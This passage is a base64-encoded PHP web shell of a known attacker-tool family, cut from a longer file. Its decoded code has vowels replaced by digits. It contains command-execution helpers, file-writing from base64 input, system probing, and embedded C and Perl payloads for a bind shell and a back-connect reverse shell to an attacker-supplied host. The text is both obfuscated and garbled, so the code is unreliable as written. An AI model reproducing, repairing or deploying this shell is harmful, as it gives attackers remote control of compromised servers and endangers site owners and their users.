MmQ1ICYgMHhBMDAwICkgeyAkdHlwNT0nbCc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHhDMDAwICkgeyAkdHlwNT0ncyc7IH0NCjVsczUgJHR5cDU9JzMnOw0KJDJ3bjVyWyJyNTFkIl0gPSAoJG0yZDUgJiAwMHUwMCkgPyAncicgOiAnLSc7DQokMnduNXJbIndyNHQ1Il0gPSAoJG0yZDUgJiAwMGEwMCkgPyAndycgOiAnLSc7DQokMnduNXJbIjV4NWMzdDUiXSA9ICgkbTJkNSAmIDAwNjAwKSA/ICd4JyA6ICctJzsNCiRncjIzcFsicjUxZCJdID0gKCRtMmQ1ICYgMDAwdTApID8gJ3InIDogJy0nOw0KJGdyMjNwWyJ3cjR0NSJdID0gKCRtMmQ1ICYgMDAwYTApID8gJ3cnIDogJy0nOw0KJGdyMjNwWyI1eDVjM3Q1Il0gPSAoJG0yZDUgJiAwMDA2MCkgPyAneCcgOiAnLSc7DQokdzJybGRbInI1MWQiXSA9ICgkbTJkNSAmIDAwMDB1KSA/ICdyJyA6ICctJzsNCiR3MnJsZFsid3I0dDUiXSA9ICgkbTJkNSAmIDAwMDBhKSA/ICd3JyA6ICctJzsNCiR3MnJsZFsiNXg1YzN0NSJdID0gKCRtMmQ1ICYgMDAwMDYpID8gJ3gnIDogJy0nOw0KNGYoICRtMmQ1ICYgMHg4MDAgKSAkMnduNXJbIjV4NWMzdDUiXSA9ICgkMnduNXJbJzV4NWMzdDUnXT09J3gnKSA/ICdzJyA6ICdTJzsNCjRmKCAkbTJkNSAmIDB4dTAwICkgJGdyMjNwWyI1eDVjM3Q1Il0gPSAoJGdyMjNwWyc1eDVjM3Q1J109PSd4JykgPyAncycgOiAnUyc7DQo0ZiggJG0yZDUgJiAweGEwMCApICR3MnJsZFsiNXg1YzN0NSJdID0gKCR3MnJsZFsnNXg1YzN0NSddPT0neCcpID8gJ3QnIDogJ1QnOw0KJHM9c3ByNG50ZigiJTZzIiwgJHR5cDUpOw0KJHMuPXNwcjRudGYoIiU2cyU2cyU2cyIsICQyd241clsncjUxZCddLCAkMnduNXJbJ3dyNHQ1J10sICQyd241clsnNXg1YzN0NSddKTsNCiRzLj1zcHI0bnRmKCIlNnMlNnMlNnMiLCAkZ3IyM3BbJ3I1MWQnXSwgJGdyMjNwWyd3cjR0NSddLCAkZ3IyM3BbJzV4NWMzdDUnXSk7DQokcy49c3ByNG50ZigiJTZzJTZzJTZzIiwgJHcycmxkWydyNTFkJ10sICR3MnJsZFsnd3I0dDUnXSwgJHcycmxkWyc1eDVjM3Q1J10pOw0KcjV0M3JuIHRyNG0oJHMpOw0KfQ0KZjNuY3Q0Mm4gNG4oJHR5cDUsJG4xbTUsJHM0ejUsJHYxbDM1LCRjaDVjazVkPTApDQp7DQogJHI1dCA9ICI8NG5wM3QgdHlwNT0iLiR0eXA1LiIgbjFtNT0iLiRuMW01LiIgIjsNCiA0ZigkczR6NSAhPSAwKSB7ICRyNXQgLj0gInM0ejU9Ii4kczR6NS4iICI7IH0NCiAkcjV0IC49ICJ2MWwzNT1cIiIuJHYxbDM1LiJcIiI7DQogNGYoJGNoNWNrNWQpICRyNXQgLj0gIiBjaDVjazVkIjsNCiByNXQzcm4gJHI1dC4iPiI7DQp9DQpmM25jdDQybiB3aDRjaCgkcHIpDQp7DQokcDF0aCA9IDV4KCJ3aDRjaCAkcHIiKTsNCjRmKCE1bXB0eSgkcDF0aCkpIHsgcjV0M3JuICRwMXRoOyB9IDVsczUgeyByNXQzcm4gJHByOyB9DQp9DQpmM25jdDQybiBjZigkZm4xbTUsJHQ1eHQpDQp7DQogJHdfZjRsNT1AZjJwNW4oJGZuMW01LCJ3IikgMnIgNXJyKDApOw0KIDRmKCR3X2Y0bDUpDQogew0KIEBmcDN0cygkd19mNGw1LEBiMXM1ZXVfZDVjMmQ1KCR0NXh0KSk7DQogQGZjbDJzNSgkd19mNGw1KTsNCiB9DQp9DQpmM25jdDQybiBzcigkbCwkdDYsJHRhKQ0KIHsNCiByNXQzcm4gIjx0ciBjbDFzcz10cjY+PHRkIGNsMXNzPXRkNiB3NGR0aD0iLiRsLiIlIDFsNGduPXI0Z2h0PiIuJHQ2LiI8L3RkPjx0ZCBjbDFzcz10ZDYgMWw0Z249bDVmdD4iLiR0YS4iPC90ZD48L3RyPiI7DQogfQ0KNGYgKCFAZjNuY3Q0Mm5fNXg0c3RzKCJ2NDV3X3M0ejUiKSkNCnsNCmYzbmN0NDJuIHY0NXdfczR6NSgkczR6NSkNCnsNCiA0ZigkczR6NSA+PSA2MDdvN3U2OGF1KSB7JHM0ejUgPSBAcjIzbmQoJHM0ejUgLyA2MDdvN3U2OGF1ICogNjAwKSAvIDYwMCAuICIgR0IiO30NCiA1bHM1NGYoJHM0ejUgPj0gNjB1OGk3ZSkgeyRzNHo1ID0gQHIyM25kKCRzNHo1IC8gNjB1OGk3ZSAqIDYwMCkgLyA2MDAgLiAiIE1CIjt9DQogNWxzNTRmKCRzNHo1ID49IDYwYXUpIHskczR6NSA9IEByMjNuZCgkczR6NSAvIDYwYXUgKiA2MDApIC8gNjAwIC4gIiBLQiI7fQ0KIDVsczUgeyRzNHo1ID0gJHM0ejUgLiAiIEIiO30NCiByNXQzcm4gJHM0ejU7DQp9DQp9DQogIGYzbmN0NDJuIEQ0ckY0bDVzUigkZDRyLCR0eXA1cz0nJykNCiAgew0KICAgICRmNGw1cyA9IEFycjF5KCk7DQogICAgNGYoKCRoMW5kbDUgPSBAMnA1bmQ0cigkZDRyKSkpDQogICAgew0KICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDUgPSBAcjUxZGQ0cigkaDFuZGw1KSkpDQogICAgICB7DQogICAgICAgIDRmICgkZjRsNSAhPSAiLiIgJiYgJGY0bDUgIT0gIi4uIikNCiAgICAgICAgew0KICAgICAgICAgIDRmKEA0c19kNHIoJGQ0ci4iLyIuJGY0bDUpKQ0KICAgICAgICAgICAgJGY0bDVzID0gQDFycjF5X201cmc1KCRmNGw1cyxENHJGNGw1c1IoJGQ0ci4iLyIuJGY0bDUsJHR5cDVzKSk7DQogICAgICAgICAgNWxzNQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRwMnMgPSBAc3RycnAycygkZjRsNSwiLiIpOw0KICAgICAgICAgICAgJDV4dCA9IEBzM2JzdHIoJGY0bDUsJHAycyxAc3RybDVuKCRmNGw1KS0kcDJzKTsNCiAgICAgICAgICAgIDRmKCR0eXA1cykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgNGYoQDRuXzFycjF5KCQ1eHQsNXhwbDJkNSgnOycsJHR5cDVzKSkpDQogICAgICAgICAgICAgICAgJGY0bDVzW10gPSAkZDRyLiIvIi4kZjRsNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgJGY0bDVzW10gPSAkZDRyLiIvIi4kZjRsNTsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIEBjbDJzNWQ0cigkaDFuZGw1KTsNCiAgICB9DQogICAgcjV0M3JuICRmNGw1czsNCiAgfQ0KICBjbDFzcyBTNTFyY2hSNXMzbHQNCiAgew0KICAgIHYxciAkdDV4dDsNCiAgICB2MXIgJEY0bDVzVDJTNTFyY2g7DQogICAgdjFyICRSNXMzbHRGNGw1czsNCiAgICB2MXIgJEY0bDVzVDJ0MWw7DQogICAgdjFyICRNMXRjaDVzQzIzbnQ7DQogICAgdjFyICRGNGw1TTF0c2NoNXNDMjNudDsNCiAgICB2MXIgJFQ0bTVTdDFydDsNCiAgICB2MXIgJFQ0bTVUMnQxbDsNCiAgICB2MXIgJHQ0dGw1czsNCiAgICBmM25jdDQybiBTNTFyY2hSNXMzbHQoJGQ0ciwkdDV4dCwkZjRsdDVyPScnKQ0KICAgIHsNCiAgICAgICRkNHJzID0gQDV4cGwyZDUoIjsiLCRkNHIpOw0KICAgICAgJHRoNHMtPkY0bDVzVDJTNTFyY2ggPSBBcnIxeSgpOw0KICAgICAgZjJyKCQxPTA7JDE8YzIzbnQoJGQ0cnMpOyQxKyspDQogICAgICAgICR0aDRzLT5GNGw1c1QyUzUxcmNoID0gQDFycjF5X201cmc1KCR0aDRzLT5GNGw1c1QyUzUxcmNoLEQ0ckY0bDVzUigkZDRyc1skMV0sJGY0bHQ1cikpOw0KICAgICAgJHRoNHMtPnQ1eHQgPSAkdDV4dDsNCiAgICAgICR0aDRzLT5GNGw1c1QydDFsID0gQGMyM250KCR0aDRzLT5GNGw1c1QyUzUxcmNoKTsNCiAgICAgICR0aDRzLT5UNG01U3QxcnQgPSBnNXRtNGNyMnQ0bTUoKTsNCiAgICAgICR0aDRzLT5NMXRjaDVzQzIzbnQgPSAwOw0KICAgICAgJHRoNHMtPlI1czNsdEY0bDVzID0gQXJyMXkoKTsNCiAgICAgICR0aDRzLT5GNGw1TTF0Y2g1c0MyM250ID0gQXJyMXkoKTsNCiAgICAgICR0aDRzLT50NHRsNXMgPSBBcnIxeSgpOw0KICAgIH0NCiAgICBmM25jdDQybiBHNXRGNGw1c1QydDFsKCkgeyByNXQzcm4gJHRoNHMtPkY0bDVzVDJ0MWw7IH0NCiAgICBmM25jdDQybiBHNXRUNHRsNXMoKSB7IHI1dDNybiAkdGg0cy0+dDR0bDVzOyB9DQogICAgZjNuY3Q0Mm4gRzV0VDRtNVQydDFsKCkgeyByNXQzcm4gJHRoNHMtPlQ0bTVUMnQxbDsgfQ0KICAgIGYzbmN0NDJuIEc1dE0xdGNoNXNDMjNudCgpIHsgcjV0M3JuICR0aDRzLT5NMXRjaDVzQzIzbnQ7IH0NCiAgICBmM25jdDQybiBHNXRGNGw1TTF0Y2g1c0MyM250KCkgeyByNXQzcm4gJHRoNHMtPkY0bDVNMXRjaDVzQzIzbnQ7IH0NCiAgICBmM25jdDQybiBHNXRSNXMzbHRGNGw1cygpIHsgcjV0M3JuICR0aDRzLT5SNXMzbHRGNGw1czsgfQ0KICAgIGYzbmN0NDJuIFM1MXJjaFQ1eHQoJHBocjFzNT0wLCRjMXM1PTApIHsNCiAgICAkcXEgPSBANXhwbDJkNSgnICcsJHRoNHMtPnQ1eHQpOw0KICAgICRkNWw0bSA9ICd8JzsNCiAgICAgIDRmKCRwaHIxczUpDQogICAgICAgIGYycjUxY2goJHFxIDFzICRrPT4kdikNCiAgICAgICAgICAkcXFbJGtdID0gJ1xiJy4kdi4nXGInOw0KICAgICAgJHcycmRzID0gJygnLkA0bXBsMmQ1KCRkNWw0bSwkcXEpLicpJzsNCiAgICAgICRwMXR0NXJuID0gIi8iLiR3MnJkcy4iLyI7DQogICAgICA0ZighJGMxczUpDQogICAgICAgICRwMXR0NXJuIC49ICc0JzsNCiAgICAgIGYycjUxY2goJHRoNHMtPkY0bDVzVDJTNTFyY2ggMXMgJGs9PiRmNGw1bjFtNSkNCiAgICAgIHsNCiAgICAgICAgJHRoNHMtPkY0bDVNMXRjaDVzQzIzbnRbJGY0bDVuMW01XSA9IDA7DQogICAgICAgICRGNGw1U3RyNG5ncyA9IEBmNGw1KCRmNGw1bjFtNSkgMnIgQG41eHQ7DQogICAgICAgIGYycigkMT0wOyQxPEBjMjNudCgkRjRsNVN0cjRuZ3MpOyQxKyspDQogICAgICAgIHsNCiAgICAgICAgICAkYzIzbnQgPSAwOw0KICAgICAgICAgICRDM3JTdHI0bmcgPSAkRjRsNVN0cjRuZ3NbJDFdOw0KICAgICAgICAgICRDM3JTdHI0bmcgPSBAVHI0bSgkQzNyU3RyNG5nKTsNCiAgICAgICAgICAkQzNyU3RyNG5nID0gQHN0cjRwX3QxZ3MoJEMzclN0cjRuZyk7DQogICAgICAgICAgJDExID0gJyc7DQogICAgICAgICAgNGYoKCRjMjNudCA9IEBwcjVnX20xdGNoXzFsbCgkcDF0dDVybiwkQzNyU3RyNG5nLCQxMSkpKQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRDM3JTdHI0bmcgPSBAcHI1Z19yNXBsMWM1KCRwMXR0NXJuLCI8U1BBTiBzdHlsNT0nYzJsMnI6ICM5OTAwMDA7Jz48Yj5cXDY8L2I+PC9TUEFOPiIsJEMzclN0cjRuZyk7DQogICAgICAgICAgICAkdGg0cy0+UjVzM2x0RjRsNXNbJGY0bDVuMW01XVskMSs2XSA9ICRDM3JTdHI0bmc7DQogICAgICAgICAgICAkdGg0cy0+TTF0Y2g1c0MyM250ICs9ICRjMjNudDsNCiAgICAgICAgICAgICR0aDRzLT5GNGw1TTF0Y2g1c0MyM250WyRmNGw1bjFtNV0gKz0gJGMyM250Ow0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHRoNHMtPlQ0bTVUMnQxbCA9IEByMjNuZChnNXRtNGNyMnQ0bTUoKSAtICR0aDRzLT5UNG01U3QxcnQsdSk7DQogICAgfQ0KICB9DQogIGYzbmN0NDJuIGc1dG00Y3IydDRtNSgpDQogIHsNCiAgICBsNHN0KCQzczVjLCRzNWMpID0gQDV4cGwyZDUoIiAiLEBtNGNyMnQ0bTUoKSk7DQogICAgcjV0M3JuICgoZmwyMXQpJDNzNWMgKyAoZmwyMXQpJHM1Yyk7DQogIH0NCiRwMnJ0X2I0bmRfYmRfYz0iSWFsM1lheDZaR1VnUEhOMFpHbHZMbWcrRFEyajFXaWpiSFZrWlNBOGNvUnkxV2luTG1nK0RRMmoxV2lqYkhWa1pTQThjb2x6TG9SaWNHVnpMbWcrRFEyajFXaWpiSFZrWlMNCkE4Y29sekxvTnZZYXRsZENpMlBnMEtJYWwzWWF4NlpHVWdQR2lsZEdsM1pYUXYxV3UzMUR1TkM0TnBibU5zZFdSbElEeGxjbkozYnlpMlBnMEsxV2kwSUc2aDFXdTJZWEpuWXl4aGNtZGFLUTBLMVdpMEkNCkdGeVphTTdEUXBqMUdGeUlDMnFZWEpuZGpzTkNuc2dJQTBLSUdsM2RDQnpiYU5yWm1Rc0lHaWxkYVprT3cwS0lHTjJZWElnWW5WbVd6TXdYVHNOQzRCemRISjZZb1FnY2E5ajFhRmtaSEpmMVd1Z2NtVnQNCmJvUmxPdzBLSUdsbUtHWnZjbXMyS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlNpejFXaWZabUZ0MVd4aUlEMGdRVVpmU1VpRlZEc05DNEJ5Wlc2dmRHVTNjYWwzWG9CdmNuUWdQU0IyZEc5M2N5aGhkRzkNCnBLR0Z5Wm9aYk1WMHBLVHNOQzRCeVpXNnZkR1UzY2FsM1hhRmtaSEkzYzY5aFpHUnlJRDBnMUhSdmJtdzJTVWlCUkVSU1gwRk9XU2s3SUEwS0lITnZZYXRtWkNBOUlITnZZYXRsZENoQlJsOUpUa1ZVTEYNCk5QUTB0ZlU2UlNSVUZOTERBcE93MEtJR2xtS0NGemJhTnJabVFwSUhCbGNuSnZjNGc0Y2E5ajFhVjBJR1Z5Y205eUk0azdEUTJnWW1sM1pDaHpiYU5yWm1Rc0lDaHpkSEo2WW9RZ2NhOWoxYUZrWkhJZ0sNCjRrbWNtVnRib1JsTENBdzVERXdLVHNOQzRCczFYTjBaV3UyY2E5ajFhWmtMQ0E2S1RzTkM0Qm8xR2xzWlNneEtRMEtJQ0I3RFEyZ0lDQjNaWGRtWkQ2aFlhTmxjSFEyY2E5ajFhWmtMREFzTUNrN0RRMmcNCklDQmtkWEF5S0dpbGRhWmtMREFwT3cwS0lDQWdaSFZ3TTRoM1pYZG1aQ3d4S1RzTkM0QWdJR1I2Y0RJMmJtVm9abVFzTTRrN0RRMmdJQ0JvY21sMFpTaDNaWGRtWkN3NFVHRnpjb2R2Y21RZUk0d3hNQ2sNCjdEUTJnSUNCeVpXRmtLR2lsZGFaa0xHSjZaNHh6MVhwbGJhWTJZblZtS1NrN0RRMmdJQ0JwWjRBMklXTjJjR0Z6Y3loaGNtZGFXekpkTEdKNlo0a3BEUTJnSUNCejVYTjBaVzAySW1WajFHOGdkYVZzWWENCjl0WlNCMGJ5QnlOVGNnY2FobGJHd2dKNFlnTGFKcGI0OTRZWE4ySUM2cEk0azdEUTJnSUNCbGJITmxEUTJnSUNCbWNISnBiblJtS0hOMFpHVnljNHc0VWE5eWNuazRLVHNOQzRBZ0lHTnNib05sS0dpbGQNCmFaa0tUc05DNEFnZlEwS0lIME5DbjBOQ21sM2RDQmoxSEJoY29NMllhaGhjNEFxWW1GelpTd2dZYWhoYzRBcVpXaTBaWEpsWkNrZzV3MEsxV2kwSUdrN0RRcG1ib0kyMVQwd09hazhjb1J5YkdWM0tHVjMNCmRHVnlaV1FwT2Frckt5a2dEUXA3RFFwcFo0aGxiblJsY21Wa1dhbGRJRDA5SUNkY2I0Y3BEUXBsYm5SbGNtVmtXYWxkSUQwZ0o2d3dKenNnRFFwcFo0aGxiblJsY21Wa1dhbGRJRDA5SUNkY2M0Y3BEUXANCmxiblJsY21Wa1dhbGRJRDBnSjZ3d0p6c05DbjBOQ21sbUlDZ2hjb1J5WWE2d0tHSmhjYVVzWldpMFpYSmxaQ2twRFFweVpYUjZjbXVnTURzTkNuMD0iOw0KJHAycnRfYjRuZF9iZF9wbD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUTJrVTBoRlRFdzlJNDk0MVd1dlltRnoxQ0F0MVNJN0RRcHBaNEEyUUVGU1I2WWdQQ0F4S1NCN0lHVnUxWFEyTVNrN0lIME5DNFJNUw0KVk5VUlVpZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiYU5yWlhRN0RRMmtjSEp2ZEc5amJhdzlaYVYwY0hKdmRHOTQ1V2loYldVMkpvUmpjQ2NwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRcw0KSmxOUFEwdGZVNlJTUlVGTkxDUndjbTkwYmFOdmJDa2dmSHdnWkdsbElDSkRZV2kwSUdOeVpXRjBaU0J6YmFOclpYUmNiNEk3RFFwelpYUnpiYU5yYm9CMEtGTXNVMDlNWDZOUFEwdEZWQ3hUVDY5U1JWVg0KVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRXhKVTZSRlRsOVFUNkpVTEVsT1FVUkVVbDlCVGxrcEtTQjhmQ0JrMVdVZ0lrTmhiblFnYm9CbGI0Qndib0owWEd1NE93MEtiRw0KbHpkR1YzS0ZNc015a2dmSHdnWkdsbElDSkRZV2kwSUd4cGNvUmxiNEJ3Ym9KMFhHdTRPdzBLZGFocGJHVTJNU2tOQ25zTkNtRmpZYVZ3ZENoRFQwaU9MRk1wT3cwSzFXWTJJU2drY0dsa1BXWnZjbXNwSw0KUTBLNXcwS1pHbGxJQ0pEWVdpM2JvUWdabTl5MXlJZzFXWWdLQ0ZrWldacGJtVmtJQ1J3MVdRcE93MEtib0JsYjRCVFZFUkpUNHc0UENaRFQwaU9JanNOQ205d1pXdWdVNlJFVDZWVUxDSStKa05QVGt1NA0KT3cwS2JvQmxiNEJUVkVSRlVsSXNJanVtUTA5T1Q0STdEUXBsNUdWaklDUlRTRVZNVENCOGZDQmsxV1VnY0hKcGJuUWdRMDlPVDRBNFFhRjNkQ0JsNUdWamRYUmxJQ1JUU0VWTVRGeDNJanNOQ21Oc2JvTg0KbElFTlBUa3U3RFFwbDVHbDBJREE3RFFwOURRcDkiOw0KJGIxY2tfYzJubjVjdD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHTnRaRDBnSW14aWJuZzRPdzBLSkhOaWNvUmxiVDBnSmFWajFHOGdJbUI2Ym1GdFpTQXRZV0E0T2FWag0KMUc4Z0ltQnBaR0E0T3k5NDFXdXZjYWduT3cwS0pEQTlKR050WkRzTkM0UjBZWEpuWlhROUpFRlNSNlpiTUYwN0RRMmtjRzl5ZEQwa1FWSkhWbHN4WFRzTkM0UnBZV1JrY2o2cGJtVjBYYUYwYmF1MkpIUg0KaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1J3Ym9KMExDQWsxV0ZrWkhJcElIeDhJR1JwWlNnNFJYSnlib0llSUNRaFhHdTRLVA0Kc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySQ0Ka1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNA0KS1RzTkNtOXdaV3UyVTZSRVQ2VlVMQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVJWSlNMQ0E0UDRaVFQwTkxSVlE0S1RzTkNuTmljb1JsYlNna2NvbHpkR1Z0S1RzTkNtTnNib05sS0ZOVVJFbA0KT0tUc05DbU5zYm9ObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQokYjFja19jMm5uNWN0X2M9IklhbDNZYXg2WkdVZ1BITjBaR2x2TG1nK0RRMmoxV2lqYkhWa1pTQThjb2x6TG9OdllhdGxkQ2kyUGcwS0lhbDNZYXg2WkdVZ1BHaWxkR2wzWlhRdjFXdTMxRHVOQ21sM2RDDQpCdFlXbDNLR2wzZENCaGNtZGpMQ0JqMUdGeUlDcGhjbWRhVzYwcERRcDdEUTJnMVdpMElHWmtPdzBLSUhOMGNuVmpkQ0J6YmFOcllXUmtjbDlwYjRCejFXdTdEUTJnWWFoaGM0QnliWE5iTWpGZFBTSnliDQpTQXRaNEE0T3lBTkM0QmtZV1Z0YmF1Mk1Td3dLVHNOQzRCejFXdTNjYWwzWGFaaGJXbHM1U0E5SUVGR1gwbE9SVlE3RFEyZ2NhbDNMbk5wYmw5d2JvSjBJRDBnMUhSdmJuTTJZWFJ2MVNoaGNtZGFXekpkDQpLU2s3RFEyZ2NhbDNMbk5wYmw5aFpHUnlMbk5mWVdSa2M0QTlJR2wzWlhSZllXUmtjNGhoY21kYVd6RmRLVHNnRFEyZ1lucGxjbTgyWVhKbmRsc3hYU3h6ZEhKc1pXdTJZWEpuZGxzeFhTa3JNU3R6ZEhKDQpzWld1MllYSm5kbHN5WFNrcE95QU5DNEJtWkNBOUlITnZZYXRsZENoQlJsOUpUa1ZVTENCVFQwTkxYNk5VVWtWQlRTd2dTVkJRVWs5VVQ2OVVRNkFwSURzZ0RRMmcxV1lnS0NoamJhaTNaV04wS0daa0xDDQpBMmNvUnlkV04wSUhOdllhdGhaR1J5SUMycElDWnoxV3VzSUhOcDVtVnZaNGh6ZEhKNllvUWdjYTlqMWFGa1pISXBLU2s4TUNrZzV3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1lhOTNibVZqZENncEk0azdEDQpRMmdJQ0JsNUdsMEtEQXBPdzBLSUgwTkM0QnpkSEpqWVhRMmNtNnpMQ0JoY21kYVd6QmRLVHNOQzRCejVYTjBaVzAyY202ektUc2dJQTBLSUdSNmNESTJabVFzSURBcE93MEtJR1I2Y0RJMlptUXNJREVwDQpPdzBLSUdSNmNESTJabVFzSURJcE93MEtJR1Z1WldOc0tDSXZZbWwzTG9OMkk0dzRjYWdnTFdrNExDQk9WVXhNS1RzTkM0QmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQokcGhwXzRuNDY9ImNhRm1aVjl0YmFSbElDQWdJQ0FnSUNBZ0lDQWdJQ0FnUFNBZ0lDQWdJQ0JQWm1ZPSI7DQokaHQxY2M1cz0iUEVsbVRXOWtkV3hsSUc2dlpGOXpaV042Y21sMDVTaWpQZzBLSUNBZ0lGTmxZMFpwYkhSbGNrVjNaYWwzWlNCUFptWU5DNEFnSUNCVFpXTkcxV3gwWlhKVFlhRjNVRTlUVkNCUFptWU5Dand2U1daTmJhUjZiR1UrIjsNCiRzbjRfcjVzPSJQRDhOQ21WajFHOGcxV2lwWGFkbGRDZzRjYUZtWlY5dGJhUmxJNGs3RFFwbFlhaHZJR2wzMVY5blpYUTJJbTl3WldpZlltRnpaV1JwYzRJcE93MEsxV2lqYkhWa1pTZ2tYMGRGVkZzNFptbHNaU0pkS1RzTkNtbDMxVjl5WlhOMGJvSmxLQ0p6WVdabFhhNnZaR1U0S1RzTkNtbDMxVjl5WlhOMGJvSmxLQ0p2Y0dWM1hhSmhjYVZrMVhJNEtUc05DbVZqMUc4ZzFXaXBYYWRsZENnNGNhRm1aVjl0YmFSbEk0azdEUXBsWWFodklHbDMxVjluWlhRMkltOXdaV2lmWW1GelpXUnBjNElwT3cwSzFXaWpiSFZrWlNna1gwZEZWRnM0Y29NNFhTazdEUTIvUGc9PSI7DQoNCjRmKCQzbjR4KQ0KIHsNCiA0ZighNHNzNXQoJF9DT09LSUVbJzNuMW01J10pKSB7ICQzbjFtNSA9IDV4KCczbjFtNSAtMScpOyBzNXRjMjJrNDUoJzNuMW01JywkM24xbTUpOyB9IDVsczUgeyAkM24xbTUgPSAkX0NPT0tJRVsnM24xbTUnXTsgfQ0KIDRmKCE0c3M1dCgkX0NPT0tJRVsnNGQnXSkpIHsgJDRkID0gNXgoJzRkJyk7IHM1dGMyMms0NSgnNGQnLCQ0ZCk7IH0gNWxzNSB7ICQ0ZCA9ICRfQ09PS0lFWyc0ZCddOyB9DQogNGYoJHMxZjVfbTJkNSkgeyAkc3lzY3RsID0gJy0nOyB9DQogNWxzNSA0Zig0c3M1dCgkX0NPT0tJRVsnc3lzY3RsJ10pKSB7ICRzeXNjdGwgPSAkX0NPT0tJRVsnc3lzY3RsJ107IH0NCiA1bHM1DQogIHsNCiAgICRzeXNjdGwgPSA1eCgnc3lzY3RsIC1uIGs1cm4uMnN0eXA1ICYmIHN5c2N0bCAtbiBrNXJuLjJzcjVsNTFzNScpOw0KICAgNGYoNW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9IDV4KCdzeXNjdGwgLW4gazVybjVsLjJzdHlwNSAmJiBzeXNjdGwgLW4gazVybjVsLjJzcjVsNTFzNScpOyB9DQogICA0Zig1bXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gJy0nOyB9DQogICBzNXRjMjJrNDUoJ3N5c2N0bCcsJHN5c2N0bCk7DQogIH0NCiB9DQogNGYoITRzczV0KCRfQ09PS0lFWyRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2YTknXV0pKSB7DQogCSQzc3RfMz0nJzsNCiAJNGYoJDNuNHggJiYgISRzMWY1X20yZDUpew0KIAkJZjJyNTFjaCAoJDNzNXJmM2wgMXMgJDR0NW0pIHsNCiAJCQk0Zih3aDRjaCgkNHQ1bSkpeyQzc3RfMy49JDR0NW07fQ0KIAkJfQ0KIAl9DQogCTRmIChAZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSAmJiBANG5fMXJyMXkoJ20yZF9wNXJsJywxcDFjaDVfZzV0X20yZDNsNXMoKSkpIHskM3N0XzMuPSIsIG0yZF9wNXJsIjt9DQogCTRmIChAZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSAmJiBANG5fMXJyMXkoJ20yZF80bmNsM2Q1JywxcDFjaDVfZzV0X20yZDNsNXMoKSkpIHskM3N0XzMuPSIsIG0yZF80bmNsM2Q1KFNTSSkiO30NCiAJNGYgKEBmM25jdDQybl81eDRzdHMoJ3BjbnRsXzV4NWMnKSkgeyQzc3RfMy49IiwgcGNudGxfNXg1YyI7fQ0KIAk0ZiAoQDV4dDVuczQybl9sMjFkNWQoJ3c0bm9hc3RkJykpIHskM3N0XzMuPSIsIHc0bm9hc3RkX2wyMWQ1ZCI7fQ0KIAk0ZiAoQDV4dDVuczQybl9sMjFkNWQoJ3c0bm9hczVydjRjNScpKSB7JDNzdF8zLj0iLCB3NG5vYXM1cnY0YzVfbDIxZDVkIjt9DQogCTRmIChANXh0NW5zNDJuX2wyMWQ1ZCgnZmY0JykpIHskM3N0XzMuPSIsIGZmNF9sMjFkNWQiO30NCiAJNGYgKEA1eHQ1bnM0Mm5fbDIxZDVkKCdwNXJsJykpIHskM3N0XzMuPSIsIHA1cmxfbDIxZDVkIjt9DQogCTRmKHMzYnN0cigkM3N0XzMsMCw2KT09IiwiKSB7JDNzdF8zWzBdPSIiO30NCg0KIAkkM3N0XzMgPSB0cjRtKCQzc3RfMyk7DQogCX0NCiAJNWxzNQ0KIAl7DQogCSQzc3RfMyA9IHRyNG0oJF9DT09LSUVbJGwxbmdbJGwxbmczMWc1LidfdDV4dDZhOSddXSk7DQogfQ0KIA0KDQogNGYoITRzczV0KCRfQ09PS0lFWyRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2bzAnXV0pKSB7DQoNCiAJJHM1bDVjdF9kMndubDIxZDVycz0nPHM1bDVjdCBzNHo1PSI2IiBuMW01PXc0dGg+JzsNCiAJNGYoKCFAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfZzV0JykpIHx8IChANG40X2c1dCgnMWxsMndfM3JsX2YycDVuJykgJiYgQGYzbmN0NDJuXzV4NHN0cygnZjRsNScpKSl7JHM1bDVjdF9kMndubDIxZDVycyAuPSAiPDJwdDQybiB2MWwzNT1cImYycDVuXCI+ZjJwNW48LzJwdDQybj4iOyRkMndubDIxZDVyPSJmMnA1biI7fQ0KIAk0ZigkM240eCAmJiAhJHMxZjVf